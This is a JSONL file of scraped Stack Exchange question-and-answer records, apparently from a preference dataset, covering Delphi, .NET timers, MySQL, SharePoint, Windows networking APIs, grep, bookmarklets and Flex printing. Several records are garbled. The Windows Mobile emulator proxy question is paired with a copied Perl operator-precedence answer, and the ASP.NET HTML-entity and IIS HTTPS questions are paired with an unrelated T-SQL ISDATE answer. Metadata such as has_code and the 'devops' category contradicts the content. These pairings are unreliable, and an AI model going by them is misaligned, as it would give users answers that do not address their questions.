{"id": "hf_32e88b9bbb1a", "question": "<p>I've got an MDI application written in Delphi 2006 which runs XP with the default theme. </p>\n\n<p>Is there a way of controlling the appearance of the MDI Children to avoid the large XP-style title bar on each window? </p>\n\n<p>I've tried setting the <code>BorderStyle</code> of the <code>MDIChildren</code> to <code>bsSizeToolWin</code> but they are still rendered as normal Forms.</p>\n", "question_body": "", "answer": "I don't think there is; in my experience, MDI in Delphi is very strictly limited and controlled by its implementation in the VCL (and perhaps also by the Windows API?). For example, don't try hiding an MDI child (you'll get an exception if you try, and you'll have to jump through a couple of API hoops to work around that), or changing the way an MDI child's main menu is merged with the host form's.\nGiven these limitations, perhaps you should reconsider why you'd like to have special title bars in the first place? I guess there are also good reasons why this MDI stuff is standardized --- your users might appreciate it :)\n(PS: nice to see a Delphi question around here!)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:36.187300"}
{"id": "hf_2c6fd7ec4880", "question": "<p>I'm trying to rebuild an old metronome application that was originally written using MFC in C++ to be written in .NET using C#.  One of the issues I'm running into is getting the timer to \"tick\" accurately enough.</p>\n\n<p>For example, assuming an easy BPM (beats per minute) of 120, the timer should tick every .5 seconds (or 500 milliseconds).  Using this as the basis for the ticks, however, isn't entirely accurate as .NET only guarantees that your timer will not tick before the elapsed time has passed.</p>\n\n<p>Currently, to get around this for the same 120 BPM example used above, I am setting the ticks to something like 100 milliseconds and only playing the click sound on every 5th timer tick.  This does improve the accuracy quite a bit, but if feels like a bit of a hack.</p>\n\n<p>So, what is the best way to get accurate ticks?  I know there are more timers available than the windows forms timer that is readily available in Visual Studio, but I'm not really familiar with them.</p>\n", "question_body": "", "answer": "There are three timer classes called 'Timer' in .NET.   It sounds like you're using the Windows Forms one, but actually you might find the System.Threading.Timer class more useful - but be careful because it calls back on a pool thread, so you can't directly interact with your form from the callback.\nAnother approach might be to p/invoke to the Win32 multimedia timers - timeGetTime, timeSetPeriod, etc.\nA quick google found this, which might be useful\nhttp://www.codeproject.com/KB/miscctrl/lescsmultimediatimer.aspx\n'Multimedia' (timer) is the buzz-word to search for in this context.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:36.211184"}
{"id": "hf_f393b4511ac6", "question": "<p>I would like to create a stored procedure in MySQL that took a list as argument. For example, say that I would like to be able to set multiple tags for an item in one call, then what I want to do is to define a procedure that takes the ID of the item and a list of tags to set. However, I can't seem to find any way to do this, there is no list datatype, as far as I'm aware, but can it be emulated somehow? Could the list of tags be a comma-separated string, which can somehow be split and looped over?</p>\n\n<p>How do you usually work with lists in MySQL stored procedures?</p>\n", "question_body": "", "answer": "Not sure if these will work specifically in a SP, but there are ENUM and SET datatypes in MySQL 5 which may do what you need.\nhttp://dev.mysql.com/doc/refman/5.0/en/enum.html\nhttp://dev.mysql.com/doc/refman/5.0/en/set.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:36.296954"}
{"id": "hf_0ff6643d7420", "question": "<p>So I've been poking around with C# a bit lately, and all the Generic Collections have me a little confused. Say I wanted to represent a data structure where the head of a tree was a key value pair, and then there is one optional list of key value pairs below that (but no more levels than these). Would this be suitable?</p>\n\n<pre><code>public class TokenTree\n{\n    public TokenTree()\n    {\n        /* I must admit to not fully understanding this,\n         * I got it from msdn. As far as I can tell, IDictionary is an\n         * interface, and Dictionary is the default implementation of\n         * that interface, right?\n         */\n        SubPairs = new Dictionary&lt;string, string&gt;();\n    }\n\n    public string Key;\n    public string Value;\n    public IDictionary&lt;string, string&gt; SubPairs;\n}\n</code></pre>\n\n<p>It's only really a simple shunt for passing around data.</p>\n", "question_body": "", "answer": "There is an actual Data Type called KeyValuePair, use like this\n```\n```\nKeyValuePair<string, string> myKeyValuePair = new KeyValuePair<string,string>(\"defaultkey\", \"defaultvalue\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:36.321553"}
{"id": "hf_447e6fd81a30", "question": "<p>Does anyone know if it is possible to display a prompt to a user/administrator when activating or installing a sharepoint feature?  </p>\n\n<p>I am writing a custom webpart and it is connecting to a separate database, I would like to allow the administrator to select or type in a connection string when installing the .wsp file or activating the feature.</p>\n\n<p>I am looking inside the FeatureActivated event and thinking of using the SPWebConfigModification class to actually write the connection string to the web.config files in the farm.  </p>\n\n<p>I do not want to hand edit the web.configs or hard code the string into the DLL.</p>\n\n<p>If you have other methods for handling connection strings inside sharepoint I would be interested in them as well.</p>\n", "question_body": "", "answer": "Unfortunately there is no way to swap to a screen where you can get user via the feature activation process. Couple of comments for you:\nI'm assuming the connection string is going to be different for every installation, so there is no way you can include it directly in the Solution.\nI'm assuming that you couldn't programmatically construct this during installation.\nTherefore, you need some way to get user input. Here are a couple of options:\nIt could be a web part property, though this would mean setting it each and every time the web part was added, and you would need to then maitain those settings individually.\nYou could build out your own _layouts settings screen (good post:\nhttp://community.zevenseas.com/Blogs/Robin/archive/2008/03/17/lcm-creating-custom-application-page-and-using-the-propertybag-more-detailed.aspx\n), and from there users can maintain the property, storing it in either the Web Property bag, or inside the Web.Config. I try to avoid using the Web.Config where I can, but if you do wish to go this route then MAKE SURE you use the SPWebConfigModification class (Read this great blog:\nhttp://www.crsw.com/mark/Lists/Posts/Post.aspx?ID=32\n)\nFinally, a technique I often use is storing configuration information in a SharePoint List. Chris O'Brien has a great framework for that here:\nhttp://www.codeplex.com/SPConfigStore\nHope that helps,\nDaniel", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:36.370441"}
{"id": "hf_314e00d67d83", "question": "<p>Using the Windows API, how can I get a list of domains on my network?</p>\n", "question_body": "", "answer": "Answered my own question:\nUse the\nNetServerEnum\nfunction, passing in the\n```\nSV_TYPE_DOMAIN_ENUM\n```\nconstant for the \"servertype\" argument.\nIn Delphi, the code looks like this:\n```\n```\n<snip>\ntype\n  NET_API_STATUS = DWORD;\n  PSERVER_INFO_100 = ^SERVER_INFO_100;\n  SERVER_INFO_100 = packed record\n    sv100_platform_id : DWORD;\n    sv100_name        : PWideChar;\nend;\n\nfunction NetServerEnum(  //get a list of pcs on the network (same as DOS cmd \"net view\")\n  const servername    : PWideChar;\n  const level         : DWORD;\n  const bufptr        : Pointer;\n  const prefmaxlen    : DWORD;\n  const entriesread   : PDWORD;\n  const totalentries  : PDWORD;\n  const servertype    : DWORD;\n  const domain        : PWideChar;\n  const resume_handle : PDWORD\n) : NET_API_STATUS; stdcall; external 'netapi32.dll';\n\nfunction NetApiBufferFree(  //memory mgmt routine\n  const Buffer : Pointer\n) : NET_API_STATUS; stdcall; external 'netapi32.dll';\n\nconst\n  MAX_PREFERRED_LENGTH = DWORD(-1);\n  NERR_Success = 0;\n  SV_TYPE_ALL  = $FFFFFFFF;\n  SV_TYPE_DOMAIN_ENUM = $80000000;\n\nfunction TNetwork.ComputersInDomain: TStringList;\nvar\n  pBuffer        : PSERVER_INFO_100;\n  pWork          : PSERVER_INFO_100;\n  dwEntriesRead  : DWORD;\n  dwTotalEntries : DWORD;\n  i              : integer;\n  dwResult       : NET_API_STATUS;\nbegin\n  Result := TStringList.Create;\n  Result.Clear;\n\n  dwResult := NetServerEnum(nil,100,@pBuffer,MAX_PREFERRED_LENGTH,\n                            @dwEntriesRead,@dwTotalEntries,SV_TYPE_DOMAIN_ENUM,\n                            PWideChar(FDomainName),nil);\n\n  if dwResult = NERR_SUCCESS then begin\n    try\n      pWork := pBuffer;\n      for i := 1 to dwEntriesRead do begin\n        Result.Add(pWork.sv100_name);\n        inc(pWork);\n      end;  //for i\n    finally\n      NetApiBufferFree(pBuffer);\n    end;  //try-finally\n  end  //if no error\n  else begin\n    raise Exception.Create('Error while retrieving computer list from domain ' +\n                           FDomainName + #13#10 +\n                           SysErrorMessage(dwResult));\n  end;\nend;\n<snip>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:36.418577"}
{"id": "hf_17f62850d20c", "question": "<p>I wrote an application that currently runs against a local instance of MySql.  I would like to centralize the DB somewhere on the Net, and share my application.</p>\n\n<p>But, I'm cheap, and don't want to pay for it.  Does anyone know of a free on-line relational DB service that I could connect to via C#?</p>\n", "question_body": "", "answer": "I've never heard of such a thing. A few years ago, many hosts (Brinkster, etc) offered some minimal database capacity with their free web hosting accounts, but I think you'd find it difficult to find something like that now. Even if you could, most hosts no longer allow you to connect to a database (even on an account you're paying for) outside of a web application running on their server.\nMy advice would be to cobble together an old computer and use that as a database server that you run out of your house (coupled with no-ip or some similar service, probably). If you're going to need more horsepower/bandwidth than that, you'll probably just have to suck it up and pay for something.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:36.442846"}
{"id": "hf_4a35b207aebc", "question": "<p>Is there a maintained package I can use to retrieve and set MP3 ID3 metadata using Python?</p>\n", "question_body": "", "answer": "A simple example from the book Dive Into Python works ok for me,\nthis\nis the download link, the example is fileinfo.py. Don't know if it's the best, but it can do the basic job.\nThe entire book is available online\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:36.490450"}
{"id": "hf_52803af8077a", "question": "<p>I want to implement a paperless filing system and was looking to use WIA with C# for the image acquisition. There are quite a few sample projects on CodeProject, etc. However, after downloading every one of them that I can find, I have run into a problem.</p>\n\n<p>In each and every one of them, the reference to WIALib is broken. When I go to add \"Microsoft Windows Image Acquisition\" as a reference, the only version available on my development workstation (also the machine that will run this) is 2.0.</p>\n\n<p>Unfortunately, every one of these sample projects appear to have been coded against 1.x. The reference goes in as \"WIA\" instead of \"WIALib\". I took a shot, just changing the namespace import, but clearly the API is drastically different.</p>\n\n<p>Is there any information on either implementing v2.0 or on upgrading one of these existing sample projects out there?</p>\n", "question_body": "", "answer": "It doesn't\nneed\nto be WIA. I was mostly looking at the WIA setup because it offers the same basic interface for different scanners. I've got 3 scanners on this machine and the TWAIN drivers/software for all of them suck (like blocking the screen during scanning).\nFor document management, I'm really looking for simple 200dpi grayscale scans, so most of the stuff in the TWAIN drivers is overkill.\nThat said, asking here was part of my last attempt to figure out how to do it in WIA before moving on to TWAIN.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:36.543879"}
{"id": "hf_fbd23bf181a8", "question": "<p>We need to add WorkFlow to our Spring managed application. Does anyone have any useful experience in using any of the myriad of OSS Work Flow solutions? Which one is best? Which one integrates with Spring best? Which ones should we avoid?</p>\n", "question_body": "", "answer": "If you only need some simple process orchestration, Spring's own\nWeb Flow\n, despite its name can serve as a orchestration task manager.   If you need to preserve state for several days then you will need to become an 'early adopter' of one of the open-source projects.  You may want to look at\nEclipse's BPEL project\n.\nMy hunch is that once a clearer picture of the BPEL/BPM/Workflow space emerges you will see Spring provide an abstraction layer the same way they have for JDBC, Transactions, ORM frameworks etc...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:36.567307"}
{"id": "hf_517d7e3ab28c", "question": "<p>Is it possible to access the iSight camera on a macbook programmatically? By this I mean I would like to be able to just grab still frames from the iSight camera on command and then do something with them. If so, is it only accessible using objective c, or could other languages be used as well? </p>\n", "question_body": "", "answer": "I don't have a Mac here, but there is some Documentation up here:\nhttp://developer.apple.com/documentation/Hardware/Conceptual/iSightProgGuide/01introduction/chapter_1_section_1.html\nIt looks like you have to go through the QuickTime API. There is supposed to be a Sample Project called \"MungGrab\" which could be worth a look according to\nthis thread\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:36.595578"}
{"id": "hf_d72fbe9e7d62", "question": "<p>When I use the sp_send_dbmail stored procedure, I get a message saying that my mail was queued. However, it never seems to get delivered. I can see them in the queue if I run this SQL:</p>\n\n<pre><code>SELECT * FROM msdb..sysmail_allitems WHERE sent_status = 'unsent'\n</code></pre>\n\n<p>This SQL returns a 1:</p>\n\n<pre><code>SELECT is_broker_enabled FROM sys.databases WHERE name = 'msdb'\n</code></pre>\n\n<p>This stored procedure returns STARTED:</p>\n\n<pre><code>msdb.dbo.sysmail_help_status_sp\n</code></pre>\n\n<p>The appropriate accounts and profiles have been set up and the mail was functioning at one point. There are no errors in msdb.dbo.sysmail_event_log. </p>\n", "question_body": "", "answer": "Have you tried\n```\n```\nsysmail_stop_sp\n```\n```\nthen\n```\n```\nsysmail_start_sp\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:36.618982"}
{"id": "hf_da266967d92c", "question": "<p>This snippet of Perl code in my program is giving the wrong result.</p>\n\n<pre><code>$condition ? $a = 2 : $a = 3 ;\nprint $a;\n</code></pre>\n\n<p>No matter what the value of <code>$condition</code> is, the output is always 3, how come?</p>\n", "question_body": "", "answer": "This is explained in the Perl\ndocumentation\n.\nBecause of Perl operator precedence the statement is being parsed as\n```\n```\n($condition ? $a= 2 : $a ) = 3 ;\n```\n```\nBecause the ?: operator  produces an assignable result, 3 is assigned to the result of the condition.\nWhen $condition is true this means ($a=2)=3 giving $a=3\nWhen $condition is false this means ($a)=3 giving $a=3\nThe correct way to write this is\n```\n```\n$a = ( $condition ? 2 : 3 );\nprint $a;\n```\n```\nWe got bitten by this at work, so I am posting here hoping others will find it useful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:36.642584"}
{"id": "hf_0854c8c43d3b", "question": "<p>I am working at a client site where there is a proxy server (<code>HTTP</code>) in place. If I do a hard reset of the emulator it forgets network connection settings for the emulator and settings in the hosted Windows Mobile OS. If I 'save state and exit' it will lose all of these settings. I need to do hard resets regularly which means that I lose this information and spend a lot of time setting:</p>\n\n<ul>\n<li>The emulators associated network card</li>\n<li>DNS servers for network card in the WM OS.</li>\n<li>Proxy servers in connection settings of WM OS.</li>\n</ul>\n\n<p>How can I make my life easier? Can I save this as defaults in the emulator, or create an installer easily?</p>\n", "question_body": "", "answer": "This is explained in the Perl\ndocumentation\n.\nBecause of Perl operator precedence the statement is being parsed as\n```\n```\n($condition ? $a= 2 : $a ) = 3 ;\n```\n```\nBecause the ?: operator  produces an assignable result, 3 is assigned to the result of the condition.\nWhen $condition is true this means ($a=2)=3 giving $a=3\nWhen $condition is false this means ($a)=3 giving $a=3\nThe correct way to write this is\n```\n```\n$a = ( $condition ? 2 : 3 );\nprint $a;\n```\n```\nWe got bitten by this at work, so I am posting here hoping others will find it useful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:36.666094"}
{"id": "hf_9d8479559b9e", "question": "<p>I have a stored procedure which takes as its parameter a <em>varchar</em> which needs to be cast as a <em>datetime</em> for later use:</p>\n\n<pre><code>SET @the_date = CAST(@date_string AS DATETIME)\n</code></pre>\n\n<p>I'm expecting the date string to be supplied in the format \"DD-MON-YYYY\", but in an effort to code defensively, if for some reason it can't be cast successfully, I want to default to the system date and continue. In PL/SQL I could use exception handling to achieve this and I could do this fairly easily with regular expressions too, but the limited pattern matching supported out of the box by Sybase doesn't let me do this and I can't rely on third party libraries or extensions. Is there a simple way of doing this in T-SQL?</p>\n\n<p><em>NB: using Sybase ASE 12.5.3, there is no ISDATE function</em></p>\n", "question_body": "", "answer": "Found\nthis in the second result\nin Google when searching for \"validate date string sql\".\n```\n```\n----Invalid date\nSELECT ISDATE('30/2/2007')\nRETURNS : 0 (Zero)\n----Valid date\nSELECT ISDATE('12/12/20007')\nRETURNS : 1 (ONE)\n----Invalid DataType\nSELECT ISDATE('SQL')\nRETURNS : 0 (Zero)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:36.693728"}
{"id": "hf_35b17fbc464f", "question": "<p>Inside an asp.net page, should I use</p>\n\n<pre><code>&lt;html&gt;&lt;title&gt;My page's title from México&lt;/title&gt;&lt;/html&gt;\n</code></pre>\n\n<p>Or </p>\n\n<pre><code>&lt;html&gt;&lt;title&gt;My page&amp;rsquo;s title from M&amp;eacute;xico&lt;/title&gt;&lt;/html&gt;\n</code></pre>\n\n<p>Both examples have the same output. Since asp.net encodes all my pages to utf-8, there is no need to use html entities, is that right?</p>\n", "question_body": "", "answer": "Found\nthis in the second result\nin Google when searching for \"validate date string sql\".\n```\n```\n----Invalid date\nSELECT ISDATE('30/2/2007')\nRETURNS : 0 (Zero)\n----Valid date\nSELECT ISDATE('12/12/20007')\nRETURNS : 1 (ONE)\n----Invalid DataType\nSELECT ISDATE('SQL')\nRETURNS : 0 (Zero)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:36.717864"}
{"id": "hf_9c9a404b7d19", "question": "<p>I'm using <code>IIS 5.1</code> in Windows XP on my development computer. I'm going to set up HTTPS on my company's web server, but I want to try doing it locally before doing it on a production system.</p>\n\n<p>But when I go into the Directory Security tab of my web site's configuration section, the \"Secure communication\" groupbox is disabled. Is there something I need to do to make this groupbox enabled?</p>\n", "question_body": "", "answer": "Found\nthis in the second result\nin Google when searching for \"validate date string sql\".\n```\n```\n----Invalid date\nSELECT ISDATE('30/2/2007')\nRETURNS : 0 (Zero)\n----Valid date\nSELECT ISDATE('12/12/20007')\nRETURNS : 1 (ONE)\n----Invalid DataType\nSELECT ISDATE('SQL')\nRETURNS : 0 (Zero)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:36.742418"}
{"id": "hf_4d01e31c10d0", "question": "<p>I'm working on a spec for a piece of software for my company and as part of the auditing system I think it would be neat if there was a way to grab the current Active Directory user.</p>\n\n<p>Hopefully something like:</p>\n\n<pre><code>Dim strUser as String\nstrUser = ActiveDirectory.User()\nMsgBox \"Welcome back, \" &amp; strUser\n</code></pre>\n", "question_body": "", "answer": "Try this article\n- I have some code at work that will erm, work if this doesn't...\nRelevant quote:\n```\n```\nPrivate Declare Function GetUserName Lib \"advapi32.dll\" Alias \"GetUserNameA\" _\n                    (ByVal IpBuffer As String, nSize As Long) As Long\nPrivate Declare Function GetComputerName Lib \"kernel32\" Alias \"GetComputerNameA\" _\n                    (ByVal lpBuffer As String, nSize As Long) As Long\n\nFunction ThisUserName() As String\n    Dim LngBufLen As Long\n    Dim strUser As String\n\n    strUser = String$(15, \" \")\n    LngBufLen = 15\n\n    If GetUserName(strUser, LngBufLen) = 1 Then\n        ThisUserName = Left(strUser, LngBufLen - 1)\n    Else\n        ThisUserName = \"Unknown\"\n    End If\nEnd Function\n\nFunction ThisComputerID() As String\n    Dim LngBufLen As Long\n    Dim strUser As String\n\n    strUser = String$(15, \" \")\n    LngBufLen = 15\n\n    If GetComputerName(strUser, LngBufLen) = 1 Then\n        ThisComputerID = Left(strUser, LngBufLen)\n    Else\n        ThisComputerID = 0\n    End If\nEnd Function\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:36.793192"}
{"id": "hf_a4891c531838", "question": "<p>How do I <code>grep</code> and show the preceding and following 5 lines surrounding each matched line?</p>\n", "question_body": "", "answer": "For\nBSD\nor\nGNU\n```\ngrep\n```\nyou can use\n```\n-B num\n```\nto set how many lines before the match and\n```\n-A num\n```\nfor the number of lines after the match.\n```\n```\ngrep -B 3 -A 2 foo README.txt\n```\n```\nIf you want the same number of lines before and after you can use\n```\n-C num\n```\n.\n```\n```\ngrep -C 3 foo README.txt\n```\n```\nThis will show 3 lines before and 3 lines after.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:36.817903"}
{"id": "hf_f371d16168ea", "question": "<p>I'm thinking that the reason I can't do this is because it might be a huge security hole, but here goes...</p>\n\n<p>I want to have a bookmark on my browser (FF3, preferably) that is only a snippet of javascript code.  It would merely construct a URL based on the current date and then do a window.location = on that URL.</p>\n\n<p>I know that I could make a page and keep it on my local machine and just refer to it that way, but I was just wondering if you could bypass that step and actually have the \"location\" of the bookmark really just be javascript.  I could have sworn that this was possible years ago, but I can't find anything that tells me either way now.</p>\n", "question_body": "", "answer": "What you want is a\nbookmarklet\nthey are easy to create and should work in most major browsers.\nEdit: Stack overflow seems not to allow creating bookmarklets in the context of the site, basically you can create a new bookmark and type the following in the location field\n```\njavascript:window.location='http://www.google.com/search?q='+Date()\n```\nto get a bookmarklet that searches google for the current date.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:36.854057"}
{"id": "hf_1bc209afb70f", "question": "<p>I'm trying to use a select statement to get all of the columns from a certain MySQL table except one. Is there a simple way to do this?</p>\n\n<p>EDIT: There are 53 columns in this table (NOT MY DESIGN)</p>\n", "question_body": "", "answer": "To the best of my knowledge, there isn't. You can do something like:\n```\n```\nSELECT col1, col2, col3, col4 FROM tbl\n```\n```\nand manually choose the columns you want. However, if you want a lot of columns, then you might just want to do a:\n```\n```\nSELECT * FROM tbl\n```\n```\nand just ignore what you don't want.\nIn your particular case, I would suggest:\n```\n```\nSELECT * FROM tbl\n```\n```\nunless you only want a few columns. If you only want four columns, then:\n```\n```\nSELECT col3, col6, col45, col 52 FROM tbl\n```\n```\nwould be fine, but if you want 50 columns, then any code that makes the query would become (too?) difficult to read.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:36.878591"}
{"id": "hf_ee86a03887b8", "question": "<p>Is there any IL level debugger in form of a VS plugin or standalone application?</p>\n\n<p>Visual studio’s debugger is great, but it allows you to debug on either HLL code level or assembly language, you can’t debug IL.\nIt seems that in some situations it would be useful to have an opportunity to debug at IL level. </p>\n\n<p>In particular it might be helpful when debugging a problem in the code that you don't have the source of.</p>\n\n<p>It is arguable if it is actually useful to debug IL when you don't have the source, but anyway.</p>\n", "question_body": "", "answer": "The best way to do this is to use ILDASM to disassemble the managed binary, which will generate the IL instructions. Then recompile that IL source code in debug mode using ILASM, when you fire up the Visual Studio debugger you will be able to step through the raw IL.\n```\nildasm foo.exe /OUT=foo.exe.il /SOURCE\n```\n```\nilasm foo.exe.il /DEBUG\n```\nI've written a blog post about this topic at:\nHow to debug Compiler Generated code\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:36.939841"}
{"id": "hf_598e39eab0cc", "question": "<ul>\n  <li>What is it?</li>\n  <li>How do I implement connection pooling with MS SQL?</li>\n  <li>What are the performance ramifications when</li>\n    <ul>\n      <li>Executing many queries one-after-the other (i.e. using a loop with 30K+ iterations calling a stored procedure)?</li>\n      <li>Executing a few queries that take a long time (10+ min)?</li>\n    </ul>\n  <li>Are there any best practices?</li>\n</ul>\n", "question_body": "", "answer": "Connection pooling is a mechanism to re-use connections, as establishing a new connection is slow.\nIf you use an MSSQL connection string and System.Data.SqlClient then you're already using it - in .Net this stuff is under the hood most of the time.\nA loop of 30k iterations might be better as a server side cursor (look up T-SQL cursor statements), depending on what you're doing with each step outside of the sproc.\nLong queries are fine - but be careful calling them from web pages as Asp.Net isn't really optimised for long waits and some connections will cut out.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:36.963729"}
{"id": "hf_fca190a41841", "question": "<p>I was recently tasked with coming up with an offsite backup strategy. We have about 2TB of data that would need to be backed up so our needs are a little out of the norm. </p>\n\n<p>I looked into Iron Mountain and they wanted $12,000 a month! </p>\n\n<p>Does anyone have any suggestions on how best to handle backing up this much data on a budget (like a tenth of Iron Mountain)? How do other companies afford to do this?</p>\n\n<p>Thanks!</p>\n\n<p>UPDATE :: UPDATE </p>\n\n<p>Ironically enough, I just had the sort of devastating failure we're all talking about. I had my BES server fail and than 2 days later 2 drives in my Exchange server's RAID5 died (2!!!??!). I'm currently in the process of rebuilding my network and the backup integrity is an definitely an issue.</p>\n\n<p>At least now my bosses are paying attention :)</p>\n", "question_body": "", "answer": "2TB is chump change nowadays.\nLook into hard-drive based hot-swappable backup machines, and rent a box at your local bank:\nhttp://www.high-rely.com/\n(there are many more products such as this, but my Google-time is limited).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:36.987175"}
{"id": "hf_174a99d74542", "question": "<p>Thanks to FireFox's buggy implementation of ActiveX components (it really should take an image of them when printing) Flex components (in our case charts) don't print in FX.</p>\n\n<p>They print fine in IE7, even IE6.</p>\n\n<p>We need these charts to print, but they also have dynamic content.  I don't really want to draw them again as images when the user prints - the Flex component should do it.</p>\n\n<p>We've found a <a href=\"http://www.anychart.com/blog/2007/09/23/solving-problem-with-printing-flash-content-in-firefox-browser/\" rel=\"nofollow noreferrer\">potential workaround</a>, but unfortunately it doesn't work in FireFox3 (in FireFox2 it sort-of works, but not well enough).</p>\n\n<p>Anyone know a workaround?</p>\n", "question_body": "", "answer": "Using the ACPrintManager I was able to get firefox 3 to print perfectly!\nThe one thing I had to add to the example was to check if stage was null, and callLater if the stage was null.\n```\n```\nprivate function initPrint():void {\n    //if we don't have a stage, wait until the next frame and try again\n    if ( stage ==  null ) {\n        callLater(initPrint);\n        return;\n    }\n\n    PrintManager.init(stage);\n\n    var data:BitmapData = new BitmapData(stage.stageWidth, stage.stageHeight);\n    data.draw(myDataGrid);\n\n    PrintManager.setPrintableContent(data);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:37.022158"}
